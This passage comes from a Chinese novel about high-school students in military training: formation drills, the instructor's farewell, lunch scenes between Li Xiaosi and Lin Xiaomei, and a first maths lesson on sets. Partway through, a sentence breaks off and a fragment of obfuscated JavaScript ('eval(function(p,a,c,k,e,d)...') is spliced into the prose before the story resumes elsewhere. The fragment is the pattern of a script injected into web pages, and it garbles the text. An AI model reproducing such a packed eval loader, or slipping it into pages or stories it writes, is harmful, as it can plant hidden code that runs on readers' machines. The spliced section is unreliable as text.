而林小美,除了学习,还要做饭,还要照顾奶奶,还要当好班长,还要在军训的时候站在最前面,做一个“不累”的人。 他把最后一瓣橘子递给林小美:“你尝尝,真的很甜。” 林小美看着那瓣橘子,犹豫了一下,接过来放进嘴里。她嚼了两下,点了点头:“是挺甜的。” 李小四笑了。他觉得这是林小美今天说的最像普通人的一句话。 下午的训练是正步。 正步比齐步走难多了。摆臂的时候手臂要端平,前摆到胸口,后摆到不能再往后。踢腿的时候腿要绷直,脚尖下压,离地二十五厘米。每一步都要砸在地上,发出整齐的“啪”的一声。 周教官先做了一遍示范。他的正步走得极好,每一步都像用尺子量过的,手臂端得平平的,腿踢得直直的,砸在地上的声音干脆利落,像一声声鼓点。他走了一个来回,站在队伍前面,脸上没有任何表情,好像刚才那一串行云流水的动作对他来说跟呼吸一样自然。 “看清楚没有?现在练分解动作。” 分解动作是最折磨人的。 第一步,抬右臂,摆左腿,定住。 所有人都金鸡独立地站着,一只脚撑着地,另一只脚抬在半空中,手臂端在胸前。这个姿势保持了三秒钟就开始有人晃,五秒钟就有人站不住了,十秒钟的时候,已经有一半的人把脚放了下来。 “定住!不许放!谁放了加十秒!” 周教官在队伍里走来走去,像一个巡视领地的将军。他走到一个晃得最厉害的女生面前,停了一下,那个女生咬着牙,脸涨得通红,眼泪在眼眶里打转,但没有放下来。 李小四也在晃。他的核心力量本来就不强,单腿站立对他来说是一件很困难的事。他的支撑腿在发抖,从大腿一直抖到脚踝,像一根被风吹弯的树枝。他使劲收紧腹部的肌肉,把重心往支撑腿上压,试图稳住自己。他晃了一下,又晃了一下,但他没有放。 他不知道自己撑了多久。时间好像变慢了,一秒变成两秒,两秒变成四秒,每一秒都像一个世纪那么长。他的脑子里只剩下一件事——撑住。不要放。撑住。 “好,放下。” 周教官的声音像一根救命稻草,所有人同时把脚放了下来,有人直接蹲在了地上,有人扶着旁边的人,有人大口大口地喘气。李小四没有蹲下,他只是站在原地,把重心换到另一只脚上,活动了一下发麻的脚踝。 “再来一遍。” 没有人抱怨。不是不想抱怨,而是已经累到不想说话了。 就这样,一遍又一遍。抬臂,踢腿,定住。放下。再抬臂,再踢腿,再定住。再放下。李小四的腿已经不是他的腿了,他的手臂也不是他的手臂了,它们只是几个被周教官的指令控制的机械部件,让他抬他就抬,让他放他就放,不需要思考,也不需要感觉。 傍晚的时候,太阳已经快要落山了,天边的云被染成了橘红色,整片操场都笼罩在一片暖黄色的光里。周教官让大家坐下来,围成一个圈,他开始教大家唱军歌。 “我是一个兵,来自老百姓——”他起了一个头,声音浑厚,带着一种粗粝的 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唱完歌,周教官站起来,拍了拍裤子上的灰。 “今天到此为止。明天继续。解散。” 人群散开了,像潮水退去一样,从操场上涌向四面八方。李小四站起来,腿酸得几乎站不稳,他使劲跺了跺脚,等那股酸劲儿过去,才开始往外走。 林小美走在他旁边,步子也很慢,但她走得很稳,不急不躁的。 “明天还要踢正步。”林小美说。 “我知道。” “你的腿还好吗?” “不好。你呢?” “也不好。” 她难得地说了一句“也不好”,让李小四愣了一下。在他印象里,林小美从来不会说“不好”。她永远说“还行”,永远说“没事”,永远是一副“我能行”的样子。今天她说“也不好”,虽然只是三个字,但李小四觉得这是一个巨大的进步——她愿意承认自己不好了,在他面前。 “那明天我们都不好。”李小四说。 林小美看了他一眼,嘴角弯了一下:“你说得好像我们还能选似的。” 两个人走到校门口,林小美去推她的自行车,李小四去骑他的电动车。天已经黑了,路灯亮着,校门口的小摊贩开始收摊了,烤红薯的炉子还冒着热气,糖炒栗子的香味在夜风里飘散。 “明天见。”林小美说。 “明天见。” 李小四骑上电动车,夜风吹在脸上,凉飕飕的,把一天的疲惫吹散了一点。他从校门口经过烤肠摊的时候,老板正在收摊,看到他就喊了一句:“小伙子,要不要来一根?最后一根了,算你便宜。” 他停下车,犹豫了一下,说:“来一根。” 老板把最后一根烤肠烤好,刷上辣椒酱,递给他。李小四接过来,咬了一口,还是那个味道,跟初中时候一模一样。 他一边吃一边骑车回家,烤肠的热气在夜风里很快就散了,但嘴里还是热的。他嚼着烤肠,想起大壮,想起他们以前一起站在校门口吃烤肠的样子。那时候他们什么都不怕,觉得世界很小,觉得友情很长,觉得一辈子都不会分开。 他现在知道了,世界很大,友情会变远,一辈子其实没那么长。 但他也知道,有些东西不会变。 比如烤肠的味道。比如那双白色球鞋踩在地上的感觉。比如林小美说“明天见”的时候,他一定会回答的那句“明天见”。 他把最后一截烤肠吃完,签子扔进路边的垃圾桶,拧了拧油门,电动车加速往前冲。夜风更大声了,在耳边呼呼地响,像一首没有歌词的歌。 回到家,妈妈在客厅看电视,音量开得很小,她靠在沙发上已经快睡着了。听到他进门,她睁开眼睛,坐直了身子。 “回来了?吃饭了吗?” “吃了。吃了烤肠。” “烤肠能当饭吗?”妈妈站起来,往厨房走,“我给你下碗面。” “妈,我不饿。” “不饿也吃点,你正在长身体。” 李小四没有再说了。他坐在餐桌前,等着妈妈下面。厨房里传来水烧开的声音,面条下锅的声音,筷子搅动的声音。这些声音他听过无数次,但今天听起来特别安心,像是这个世界上最好听的声音。 面端上来了。清汤面,加了一个荷包蛋,撒了一把葱花。汤上面漂着几滴香油,热气腾腾的。李小四拿起筷子,低头吃面。面很烫,他吹了好几口才敢往嘴里送。妈妈坐在对面看着他,手里捧着一杯水,没有喝,就那么捧着。 “妈,”李小四忽然说,“我想你了。” 妈妈愣了一下,然后笑了:“你天天见我还想我?” “就是想你了。” 妈妈没有说话,伸手摸了摸他的头。她的手很温暖,手指粗糙,指甲剪得很短。她的手指穿过他的头发,轻轻地、慢慢地,像是在抚摸一件珍贵的东西。 李小四低头吃面,眼泪掉进了碗里。 他没有擦,假装是面太烫了,辣到了眼睛。 17. 会操 军训第三天,李小四的生物钟彻底被打乱了。 他醒来的时候天还没亮透,窗外是一片灰蒙蒙的蓝,像洗了太多次的牛仔裤,颜色淡得快要看不出原来的样子。他拿起手机看了一眼,五点五十。比昨天又早了二十分钟。他的身体似乎已经放弃了抵抗,不再试图通过多睡一会儿来恢复体力,而是选择了一种更干脆的方式——既然要累,那就早点起来累吧。 他躺在床上,先活动了一下手指,确认自己的手还能动。然后是手腕,手腕可以转,但转的时候会有一根筋从手背一直扯到肘关节,酸酸的。接着是胳膊,他试着抬了一下,疼,但能抬起来,比昨天好了一点。最后是腿,这是他最担心的部分。他把腿抬起来,膝盖弯了一下,大腿前侧的肌肉像被拧紧的毛巾一样,又紧又疼。但奇怪的是,这种疼已经不是那种不能忍受的疼了,而是一种他渐渐熟悉的、甚至开始习惯的疼。 身体就是这么奇怪的东西。第一天疼得想哭,第二天疼得想骂人,第三天,你开始跟它和平共处了。你知道它疼,它也知道你知道它疼,但你们都不说了。 他坐起来,穿上那双白色球鞋。鞋带系得比昨天紧了一些,因为鞋子经过两天的穿着已经稍微松了一点,系紧一点才能跟脚。他站起来跺了跺,声音清脆,在清晨的安静里显得很响。 洗漱的时候他发现自己的脖子晒伤了。不是晒黑,是晒伤——后颈的皮肤摸上去热热的,有点肿,碰一下就疼。他对着镜子歪着头看了看,后颈那一块红通通的,跟衣领遮盖住的白皙形成了一条清晰的分界线。他想找点东西涂一下,但家里没有防晒霜,妈妈从来不用那些东西,他也不用。他想了想,把迷彩服的领子竖起来,希望能挡住一点太阳。 到学校的时候,操场上已经有人在跑步了。是一个男生,穿着黑色的短裤和白色的背心,步子很大,速度不快但很稳,一圈一圈地在跑道上绕。李小四认出来了,是陈屿白。他没想到陈屿白会来这么早,更没想到他会跑步。在他印象里,陈屿白应该是那种能躺着绝不坐着的人,迟到、懒散、对一切都不在乎。但一个对一切都不在乎的人,不会在早上六点多的操场上跑步。 他没有过去打招呼,也没有多看,径直走到了四班的集合点。 林小美已经到了。她站在花坛边上,手里拿着一份打印好的名单,正在用笔在上面写着什么。她今天换了一双鞋,不是之前那双旧运动鞋,而是一双看起来更旧的白色帆布鞋,鞋头已经有些发黄了,鞋带也洗得起了毛边。但鞋底看起来很软,应该是她穿得最舒服的一双鞋。 “你今天比我还早。”李小四说。 “班长要比学生早到。”林小美头也不抬,继续在名单上写。 “你也是学生。” “班长也是学生,但班长要起表率作用。” 李小四觉得她说得有道理,就没有再说什么。他站到自己的位置上,开始活动身体。转转头,转转手腕,转转脚踝,做一些简单的拉伸。这些都是周教官前两天教的热身动作,他当时没太在意,现在发现确实有用。拉伸完之后,腿上的酸痛感减轻了一些,走路也没有那么僵硬了。 陆陆续续地,同学们都来了。今天没有人迟到,包括陈屿白——他跑完步之后直接走到了队伍里,脸上没什么表情,但额头上有汗,头发被汗水打湿了几缕,贴在额头上。 周教官准时出现在队伍前面。他今天看起来比前两天更严肃了,嘴唇抿成一条线,目光从每个人脸上扫过,像是在清点人数,又像是在确认什么。 “今天练方阵。”他说,“后天会操,每个班要走方阵经过主席台,接受校领导检阅。你们要走得整齐,走得有气势,走得像一支军队。听到了没有?” “听到了!”经过两天的训练,大家的回答整齐了很多。 “很好。现在开始。” 方阵训练比之前所有的训练都要难。它不只是一个人的事,也不只是一排人的事,而是整个班级四十多个人拧成一股绳的事。一个人走错,整排歪了。一排走错,整个方阵乱了。每个人的每一步都关系到其他人的每一步,每个人都不能犯错,因为一个人的错会被放大成整个方阵的错。 周教官在地上画了线,标出了每一步该踩的位置。从起点到终点,一共六十步,每一步的距离都要一样,每一步的高度都要一样,每一步落地的时间都要一样。六十步走完,整个方阵要像一块移动的板砖,横平竖直,纹丝不乱。 听起来像天方夜谭。 但他们必须做到。 上午的时间全部用来练方阵。周教官让大家一排一排地走,走完一排分析一排的问题。第一排的问题是手臂摆得不够高,第二排的问题是踢腿的时候脚尖没有下压,第三排的问题是步幅太小,跟不上前面的节奏。每一排都有每一排的问题,每个人都有每个人的毛病,周教官一个一个地纠正,一遍一遍地重复,不厌其烦。 轮到李小四这一排的时候,他走在第三排的中间,左边是刘洋,右边是陈屿白。刘洋今天的节奏稳了很多,不再像昨天那样忽快忽慢了。陈屿白也认真了一些,至少在他旁边走的时候,李小四能感觉到他在努力对齐。 但问题出在排面上。 方阵要求每一排的人走成一条直线,但李小四这一排总是走不直。有时候他快了,有时候刘洋慢了,有时候陈屿白不知道在想什么,走着走着就偏了。周教官让他们走了十几遍,没有一遍是满意的。 “你们这一排是怎么回事?”周教官站在他们面前,双手叉腰,“其他排都能走好,就你们走不好。你们自己说,问题出在哪里?” 没有人说话。李小四低着头,不知道该说什么。他觉得自己已经尽力了,但尽力了还是走不好,他也不知道问题出在哪里。 陈屿白忽然开口了:“是我的问题。” 所有人都看着他。他的声音不大,但很清晰,每个字都说得很清楚:“我步子小了,偏了,影响了整排。” 周教官看着他,没有说话。 陈屿白继续说:“我小时候右脚受过伤,走路有一点跛,不是很明显,但走快了或者走久了就会偏。我没办法完全对齐,你们换个人吧。” 操场上一片安静。李小四转过头看着陈屿白,这是他第一次听陈屿白说这么多话,也是第一次知道他的脚受过伤。他看陈屿白走路的样子,确实没有看出来有什么不对劲。但仔细回想一下,陈屿白走路的姿势确实跟别人不太一样,他的右肩比左肩稍微低一点,右脚落地的声音比左脚轻一点。这些细节他一直注意到,但从来没有往“受伤”这方面想过。 周教官沉默了几秒钟,然后说:“你的脚怎么回事?” “小时候从楼梯上摔下来,右脚踝骨折过,没接好。”陈屿白说,语气很平淡,好像在说一件跟自己无关的事。 “疼不疼?” “不疼了。就是走不快,也走不直。” 周教官蹲下来,用手捏了捏陈屿白的右脚踝。陈屿白微微皱了一下眉头,但没有缩脚。周教官站起来,拍了拍手上的灰,说:“你不用换位置。继续走,但你不要去对齐别人,让别人对齐你。你在最边上,以你为基准。” 陈屿白愣了一下:“以我为基准?” “对。你的步子是你自己的,你不用去改。别人来对齐你。”周教官看着其他排的人,“听到了没有?以他为基准,你们来对齐他。他走多快你们走多快,他偏多少你们偏多少。一个方阵不是让每个人都变成一样的,是让每个人在自己的位置上发挥出最好的状态。明白了没有?” “明白了。”这次的声音不大,但很整齐。 李小四在心里把这句话咀嚼了好几遍。“不是让每个人都变成一样的,是让每个人在自己的位置上发挥出最好的状态。”他觉得这句话不只是说方阵的,好像也在说别的什么,但他一时半会儿想不清楚。 重新开始走的时候,一切都变了。以前是陈屿白追着别人跑,现在是别人追着陈屿白跑。他的步子还是跟别人不一样,但那种不一样不再是“错误”,而是“标准”。当所有人的目光从“纠正他”变成“跟随他”的时候,整排忽然就走齐了。不是每个人都一样的齐,而是一种更复杂的、更有机的齐——每个人的步伐都不一样,但每个人都朝着同一个方向,以同一种节奏前进。 周教官看着他们走完这一遍,嘴角微微动了一下。那不是笑,但比笑更让人高兴。 中午休息的时候,李小四没有去食堂打饭。他坐在花坛沿上,啃着早上从家里带来的馒头。馒头是妈妈蒸的,个头很大,白白胖胖的,咬一口有淡淡的甜味。他掰了一半,夹了一块早上剩的红烧肉,做成一个简陋的肉夹馍,大口大口地吃。 林小美端着饭盒走过来,在他旁边坐下。今天她的饭盒里是米饭和炒青菜,没有肉。她把青菜挑出来放在饭盒盖上,只吃白米饭。 “你今天怎么不吃菜?”李小四问。 “今天的菜不好吃。”林小美说。 李小四看了看她的饭盒。炒青菜看起来确实不太新鲜,叶子有些发黄,应该是炒好放了很久的。但他知道,林小美不是那种会因为“不好吃”就不吃菜的人。她不吃,大概只有一个原因——今天食堂的菜要花钱买,而青菜是不需要花钱的,只有肉菜才需要。她买了一份白米饭,青菜是从免费的例汤里捞出来的。 他没有拆穿她。他从自己的馒头上掰下一半,递给她:“太多了,我吃不完。” 林小美看着他手里的半个馒头,没有接。 “真的吃不完,”李小四说,“你要是不帮我吃,我就扔了,浪费粮食。” 林小美犹豫了一下,接过了那半个馒头。她掰了一小块放进嘴里,慢慢地嚼。馒头很软,在嘴里化开,有淡淡的甜味。她嚼了很久才咽下去,好像不舍得那么快就吃完。 “你奶奶今天怎么样?”李小四问。 “还好。今天早上我给她煮了粥,她喝了两碗。”林小美的语气比昨天轻松了一点,“她说粥煮得太稠了,像干饭。我说那下次多放点水,她说不用,稠的好吃。” 李小四笑了。他想象林小美的奶奶说这话时候的样子,一定是一个慈祥的、有点唠叨的老太太,头发全白了,脸上的皱纹像核桃壳一样深。他没见过林小美的奶奶,但从林小美偶尔提起的只言片语里,他能拼凑出一个大概的形象。 “你以后想当老师,”李小四说,“是不是因为你奶奶?” 林小美愣了一下:“为什么这么问?” “因为你奶奶以前是老师。”李小四说。他说完才意识到,林小美从来没有告诉过他奶奶是老师,他也不知道自己为什么会这么说。也许是因为直觉,也许是因为林小美身上那种跟年龄不符的严谨和责任感,让他觉得一定是有人教过她的。 林小美看了他几秒钟,然后说:“我奶奶不是老师。她是裁缝。” 李小四张了张嘴,不知道该说什么。 “但她希望我当老师,”林小美说,“她说当老师好,稳定,受人尊敬,不会像我妈妈那样……”她没有说下去,把剩下的馒头塞进嘴里,用力地嚼,好像在嚼什么很硬的东西。 李小四没有再问。他知道林小美的妈妈已经去世了,但他不知道是怎么去世的,也不知道是什么时候的事。这些事林小美从来没有主动提起过,他也没有问过。有些伤口是不能随便碰的,碰了不会愈合,只会更疼。 下午的训练比上午更苦。 周教官开始掐表计时了。方阵从起点走到终点,要求在规定的时间内完成,快了不行,慢了也不行。时间精确到秒,误差不能超过一秒。 这意味着每个人的每一步都要踩在节拍上。不能快,不能慢,不能大,不能小。每一步都要像钟表的秒针一样精准,一样均匀。 李小四的腿已经不听使唤了,但他还是咬着牙在走。不是因为他不疼,而是因为他知道,他不走,整排就歪了。整排歪了,方阵就乱了。方阵乱了,四班就丢人了。四班丢人了,林小美作为班长脸上就不好看。 他不想让林小美脸上不好看。 这个念头在他脑子里一闪而过,连他自己都没有太在意。但它在那个瞬间确确实实地存在过,像一个气泡从水底冒上来,在阳光下闪了一下,然后就破了。 下午四点,周教官让大家休息十五分钟。李小四瘫坐在草地上,仰头看着天空。天很蓝,云很白,一架飞机从云层里穿出来,拖着一条长长的白色尾巴,慢慢地从天空的这一头飞到那一头。他看着那架飞机,想着它要去哪里,想着坐在上面的人要去见谁,想着有一天自己会不会也坐上飞机,去一个很远很远的地方。 林小美坐在他旁边,双手撑在身后,也在看那架飞机。 “你想去什么地方?”李小四问。 “什么地方?” “就是,以后想去哪里?” 林小美想了想:“先把高中读完,把大学考上,把奶奶照顾好。去什么地方的事,以后再说。” “你就不想去外面的世界看看?” “想啊,”林小美说,“但不是现在。现在还不够。” 李小四觉得“现在还不够”这四个字像一颗钉子,钉进了他的心里。不是疼,是一种很深的触动。林小美知道自己要什么,也知道自己现在还不够,所以她一直在走,一步一步地,不急不躁地,朝着那个她还不够格去的地方走。 他呢?他知道自己要去哪里吗? 他想去很多地方,但那些“很多”都模糊得很,像雾里看花,看不真切。他只知道要好好读书,要考大学,要让妈妈不用再那么累。但然后呢?考上大学之后呢?让妈妈不累之后呢?他没有想过,或者说他不敢想。他觉得那些东西太远了,远到像那架飞机,看得到,但摸不着。 “李小四,”林小美忽然说,“你以后会去很远的地方的。” “你怎么知道?” “因为你有那种劲儿。”林小美转过头看着他,“你有那种想去很远的地方的劲儿。我没有,但我看得出来。” 李小四被她看得有点不自在,别过脸去,假装在看跑道上的蚂蚁。蚂蚁排成一条黑线,正在搬运一块比自己身体大好几倍的面包屑。它们走得也很齐,每一步都很小,但从不停止。 他想,他跟蚂蚁差不多。每一步都很小,但从不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈屿白这几天变了很多。不是他主动变了,而是别人对他的态度变了。以前大家都觉得他是个怪人,不爱说话,不合群,对什么都不在乎。但自从他承认自己的脚有问题之后,大家看他的眼神就不一样了。不是同情,而是一种尊重——一个人能当着所有人的面承认自己的缺陷,这不是懦弱,是勇敢。 他开始跟别人说话了。不多,还是一两句,但那“一两句”不再是用“嗯”“哦”“知道了”来应付,而是真正的、完整的、有内容的句子。他跟刘洋讨论了篮球,跟李小四借过一次笔,甚至还跟林小美说了一句“班长,明天的集合时间是多少”。林小美告诉他之后,他说了一声“谢谢”,声音不大,但很清楚。 军训第六天,最后一次彩排。 全年级十二个班在操场上一字排开,按照会操当天的顺序走一遍。从一班到十二班,每个班都要经过主席台,在主席台前完成正步走的展示,然后齐步走离开。 四班排在第五个出场。轮到他们的时候,李小四站在方阵里,心跳得很快。这不是正式会操,只是彩排,但他的心脏还是像被人攥住了一样,一下一下地用力跳。他深吸了一口气,又缓缓吐出来,试图让自己平静下来。 “齐步——走!”周教官的口令从方阵侧面传来,沙哑但有力。 四十多个人同时迈出了左脚。 李小四走在队伍里,不看前面,不看旁边,只看右边那个人的肩膀。他的余光捕捉着刘洋的节奏,耳朵捕捉着周围人脚步落地的声音。他把自己的步伐调整到跟所有人一样的频率,不快不慢,不大不小。 “正步——走!” 所有人的手臂同时端平,所有人的腿同时踢出,所有人的脚同时砸在地上——“啪!” 那一声只有一个音,不是四十多个音叠在一起,而是一个音。四十多双鞋在同一毫秒砸在塑胶跑道上,发出了一声整齐到让人起鸡皮疙瘩的巨响。 李小四听到这个声音的时候,浑身的汗毛都竖了起来。 他不知道这个声音是怎么产生的。就在几天前,他们还是一盘散沙,走得七零八落,像一群无头苍蝇。但现在,四十多个人,四十多双腿,四十多颗心,在同一时刻做着同一件事。不是因为他们每个人都走得最好,而是因为他们每个人都把自己放进了这个集体里,把自己的节奏交给了集体。 六十步,每一步都砸出了同一个声音。 走完最后一步,周教官喊了一声“立定”,所有人同时停住。方阵稳稳地停在主席台正前方,横平竖直,像一块用刀切过的豆腐。 操场上安静了一瞬,然后响起了掌声。不是主席台上的领导在鼓掌,是旁边候场的其他班的同学在鼓掌。他们的掌声不是很整齐,但很真诚,噼里啪啦的,像下雨一样。 李小四站在方阵里,不敢动,不敢笑,甚至不敢呼吸。他的眼眶有点热,但他忍住了。他不能让眼泪流下来,因为他知道,一旦流下来,他就控制不住了。 周教官走到方阵前面,看着他们。他的嘴唇动了一下,好像想说什么,但最终什么也没说。他只是朝他们竖了一个大拇指。 那根大拇指竖了很久,久到李小四觉得它会永远竖在那里。 彩排结束后,周教官把大家召集在一起,坐在草地上。天快黑了,操场的灯亮了起来,白色的灯光照在绿色的草地上,把每个人的脸都照得有些苍白。 “明天就是会操了,”周教官说,声音沙哑得几乎听不清,“该教的我都教了,该练的你们也练了。明天的表现,取决于你们自己。” 他停了一下,目光从每一个人脸上扫过。那张被晒得黝黑的脸上,有一种很复杂的表情——不是严厉,不是满意,而是一种说不清道不明的、像是舍不得又像是放心的东西。 “你们是我带过的最好的一届。”他说。 没有人说话。不是因为不相信,而是因为不知道该说什么。 “不是你们走得最好,”周教官补充道,好像在纠正自己,“是你们最拼。我带过很多届军训,见过很多学生。有些人走得好,但不拼。有些人很拼,但走不好。你们是既拼又走得好。” 李小四坐在草地上,腿伸直,手撑在身后。他看着周教官站在灯光下,影子被拉得很长很长,投在草地上,像一个巨大的、沉默的雕像。他想,七天真的好短。第一天他还在抱怨为什么要有军训,为什么要在太阳底下站着,为什么要一遍一遍地走那些永远走不齐的步子。但现在,第七天就要来了,他忽然觉得,七天太短了,短到他还没有准备好说再见。 “明天会操结束之后,”周教官说,声音更低了,“我就走了。回部队。以后可能不会再见了。” 操场上很安静,安静到能听到风吹过草地的声音。 “但我不会忘了你们。”周教官说,他的声音在沙哑中带着一种罕见的温柔,“希望你们也不会忘了我。” 林小美站起来,朝周教官深深地鞠了一躬。 然后全班都站了起来,四十多个人,一起朝周教官鞠了一躬。 没有人喊口令,没有人指挥,但四十多个人在同一时刻弯下了腰,像一片被风吹弯的麦田。 周教官看着他们,眼眶红了。 他转过身,走了几步,又停下来。他没有回头,只是站在那里,背对着所有人,肩膀微微耸动了一下。 然后他继续往前走,走进了灯光照不到的黑暗里。 李小四站在原地,看着周教官的背影消失在操场的那一头。夜风吹过来,带着青草的味道和泥土的气息。天上的星星出来了,一颗一颗的,不多,但很亮。 明天就是最后一天了。 他想,他要走得比彩排更好。 不为别的,就为周教官那根竖了很久的大拇指。 18. 铃声响起 会操结束的那个下午,李小四回到教室,坐在靠窗的位置上,看着窗外的操场。 操场空了。昨天还站满了穿迷彩服的人,今天一个人都没有了。跑道上的白色标线还在,那是周教官前几天用石灰粉画的,方阵的起点、终点、每一步的落点,都标得清清楚楚。但现在那些标线正在被风吹散,石灰粉扬起来,在阳光下闪着细碎的光,像一层薄薄的雪。 周教官走的时候没有回头。 会操结束后,他在队伍前面站了很久,好像有话要说,但最终只是朝大家敬了一个标准的军礼。他的手臂抬得很高,手掌绷得很直,指尖抵在太阳穴旁边,那个姿势保持了大概五秒钟。然后他转身走了,步子很大,走得很快,迷彩服的下摆在风里翻飞。 没有人追上去。没有人喊“教官别走”。大家都站在原地,看着他的背影越来越小,最后消失在操场尽头的拐角处。有人哭了,女生哭得比较多,男生也有几个红了眼眶的。李小四没有哭,但他的鼻子酸了很久,酸到整个下午都觉得有什么东西堵在里面,不通气。 沈老师走进教室的时候,手里拿着一沓表格。她把表格放在讲台上,目光扫过全班,等大家安静下来才开口。 “军训结束了,”她说,“从明天开始,正式上课。高中的学习跟初中不一样,节奏更快,内容更深,需要你们更主动、更自律。我希望你们把军训里学到的东西带到学习中去——纪律、坚持、团队精神。这些东西不是只在操场上才有用。” 她停了一下,笑了一下:“当然,你们不用再站军姿了,也不用再喊口号了。但那种‘再坚持一下’的劲儿,希望你们一直留着。” 她开始发课表。李小四接过课表看了一眼,上面密密麻麻地写满了字,从周一到周六,每天八节课,早读、正课、晚自习,排得满满当当。数学每周六节,语文五节,英语五节,物理四节,化学四节,生物三节,政治、历史、地理各两节,还有体育、音乐、美术、信息技术各一节。他盯着那张课表看了很久,觉得它像一张地图,一张接下来三年他每天都要走的地图。 林小美也在看课表。她看得很仔细,从周一到周六,从第一节到最后一节,一行一行地看,好像在记什么东西。看完之后她把课表折好,夹在课本的第一页,然后用笔在课本封面内侧写下了几个字——李小四没有看清她写了什么,但看到她写得很认真,一笔一划的。 “你觉得高中跟初中最大的区别是什么?”李小四问。 林小美想了想:“初中老师管你,高中老师不管你。” 李小四琢磨了一下这句话,觉得有点道理。初中时候马老师什么都管,上课走神了会被点名,作业没写完会被罚站,考试成绩差了会被叫去谈话。高中的老师大概不会这样——不是因为他们不负责任,而是因为他们默认你已经长大了,应该自己管自己了。 自己管自己。这件事说起来容易,做起来难。 下午放学的时候,李小四在校门口遇到了张瑞。 张瑞晒得比他还黑,整个人像从非洲回来的,只有推眼镜的时候露出来的那一小块鼻梁是白的。他穿着一件大了一号的校服,袖子卷了两道,看起来有点滑稽。 “你们班怎么样?”李小四问。 “还行,”张瑞说,“班主任是个老头,教物理的,说话慢吞吞的,第一节课讲了一个小时还没讲完牛顿第一定律。你们呢?” “班主任姓沈,教语文的,挺年轻的。” “有漂亮的女同学吗?” “你脑子里就只有这个?” “那不然呢?”张瑞推了推眼镜,笑了,“学习多累啊,不看点好看的人怎么撑得下去。” 李小四笑了,没有接话。他想到林小美,想到她今天穿的那件浅蓝色T恤,想到她低头写字时长睫毛投在脸上的阴影,想到她吃橘子的时候嘴唇上沾着的汁水。他赶紧把这些画面从脑子里赶走,假装在看路边的一只流浪猫。 晚上回到家,李小四把课表贴在书桌前的墙上。 墙上已经贴了很多东西了。有初中的计划表,有中考倒计时,有他手抄的古诗词,有一张凤凰山顶拍的照片,还有一张大壮从天津寄来的明信片。明信片上印着天津之眼的夜景,摩天轮亮着彩色的灯,倒映在水面上,很好看。大壮在背面写了一行字:“等你来天津,我请客。” 他把课表贴在所有这些的最上面,用透明胶粘好四角,按了按,确保它不会掉下来。然后他退后两步,看着这面墙。墙上的每一张纸都是一段记忆,每一段记忆都是一步路。他走了很多步才走到今天,还要走很多步才能走到他想去的地方。 他坐到书桌前,翻开数学课本,开始预习明天的课。 第一章是集合。他在暑假看过,但看得迷迷糊糊的,很多地方没弄懂。现在他静下心来,一个字一个字地看,一个概念一个概念地过。集合的定义、集合的表示方法、元素与集合的关系、集合的分类——他看得很慢,遇到不懂的就多看几遍,实在看不懂的就用笔圈出来,等明天上课问老师。 看到子集的时候,他卡住了。 “对于两个集合A和B,如果集合A的任何一个元素都是集合B的元素,那么称集合A是集合B的子集。” 这段话每个字他都认识,但连在一起就读不懂了。他反复读了好几遍,脑子里还是一团浆糊。他拿起笔,在草稿纸上画了两个圈,一个大圈,一个小圈,小圈完全在大圈里面。他看着这两个圈,忽然就明白了——小圈是大圈的子集,因为小圈里的所有东西都在大圈里。 他把这个发现写在课本的空白处,画了两个圈,在旁边写了三个字:“明白了。” 那种感觉很好。不是那种“我终于做对了”的如释重负,而是更安静的、更踏实的“我懂了”。像在黑夜里摸到了一面墙,顺着墙走,你知道前面一定有门。 九月七号,正式上课的第一天。 李小四到教室的时候,林小美已经在擦黑板了。她站在讲台上,踮着脚尖,用力地擦着黑板左上角残留的字迹。黑板擦在她手里发出沙沙的声音,粉笔灰扬起来,在晨光里飞舞,像一群细小的萤火虫。 “你怎么来这么早?”李小四问。 “值日。”林小美头也不回地说。 “今天你值日?” “每天都值日。班长要把教室收拾好,让大家有一个好的学习环境。” 李小四看着她的背影。她穿着一件白色的短袖,领口洗得有些松了,露出锁骨下面一小片皮肤。她的马尾辫扎得很高,发梢在肩胛骨的位置左右摇摆。她擦黑板的动作很认真,每一个角落都不放过,连黑板擦的绒面都拍得干干净净。 他放下书包,拿起另一块黑板擦,走到另一边,帮她一起擦。 林小美看了他一眼,没有说话,也没有说不用。两个人一人一边,把整块黑板擦得干干净净,连黑板槽里的粉笔灰都用抹布擦掉了。黑板在晨光里泛着墨绿色的光,像一面刚洗过的镜子。 “谢谢。”林小美说。 “不客气,林班长。” “你再叫林班长我就让你一个人擦一个月的黑板。” 李小四笑了,回到座位上,拿出课本。 第一节课是数学。 数学老师姓王,是个四十多岁的男人,头发不多,但梳得很整齐,戴着一副金色边框的眼镜。他走进教室的时候没有做自我介绍,没有寒暄,没有废话,直接翻开课本,拿起粉笔,在黑板上写下了这节课的标题。 “集合。” 他的字很好看,粉笔字写得像毛笔字一样有力,每一笔都带着锋,撇捺之间有一种说不出的气势。他转过身,目光扫过全班,开口了,声音不大,但每个字都掷地有声。 “集合是现代数学的基础。你们现在学的函数、数列、三角函数,甚至以后大学要学的高等数学、线性代数,都建立在集合论的基础上。所以,集合这一章学不好,后面的课就不用听了。” 教室里的气氛一下子紧张了起来。 李小四握紧了笔,坐直了身体。 王老师的讲课风格跟马老师完全不一样。马老师讲得很细,每一步都讲得很清楚,恨不得把所有可能出错的地方都提醒一遍。王老师讲得很快,概念一带而过,例题讲完直接上难度,不给学生消化和喘息的时间。 “子集的概念,刚才讲过了。现在看一道题:已知集合A={1,2,3},写出A的所有子集。” 李小四低下头,开始在草稿纸上写。空集,{1},{2},{3},{1,2},{1,3},{2,3},{1,2,3}——他一共写了八个,抬起头,看到王老师已经在黑板上把答案写出来了,跟他写的一样。 “很好。现在看下一个概念:真子集。真子集就是除了集合本身以外的所有子集。那么,A的真子集有几个?” 七个。李小四在心里回答。他把真子集在草稿纸上列了一遍,少了一个{1,2,3},正好七个。 王老师没有问有没有人不会,直接跳到下一道题。他的节奏很快,快到李小四要很用力地跟着才能不掉队。他不停地写,不停地算,笔尖在纸上沙沙地响,额头上渗出了细密的汗珠。 下课铃响的时候,王老师刚好讲完最后一道例题。他把粉笔放回粉笔盒,拍了拍手上的灰,说了一句“下课”,然后头也不回地走了。 教室里安静了一瞬,然后爆发出一阵哀嚎。 “这也太快了吧!” “我还没反应过来他就讲完了。” “集合我还没听懂呢!” “完了完了完了,我要掉队了。” 